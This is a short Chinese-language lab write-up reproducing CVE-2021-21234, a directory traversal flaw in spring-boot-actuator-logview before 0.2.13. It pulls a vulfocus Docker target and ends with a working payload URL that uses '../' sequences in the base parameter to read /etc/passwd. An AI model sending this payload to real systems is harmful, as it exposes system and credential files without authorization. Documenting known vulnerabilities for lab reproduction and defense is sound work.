0x01 漏洞描述

项目地址:https://github.com/lukashinsch/spring-boot-actuator-logview

在spring-boot-actuator-logview 0.2.13版本之前,对文件路径参数过滤不严导致可以目录穿越读取任意文件。

0x02 漏洞环境

spring-boot-actuator-logview<0.2.13 nuclei vulfocus

0x03 漏洞复现

拉取环境。

docker pull vulfocus/springboot-cve_2021_21234

访问靶机,界面如下所示。

Untitled

访问链接http://192.168.10.214:8887/manage/log/,可以访问到默认接口页面。

Untitled

通过log/view接口可以直接在base参数中进行目录穿越,filename参数中填写需要读取的文件。

Untitled

payload

<http://192.168.10.214:8887/manage/log/view?filename=/etc/passwd&base=../../../../../../>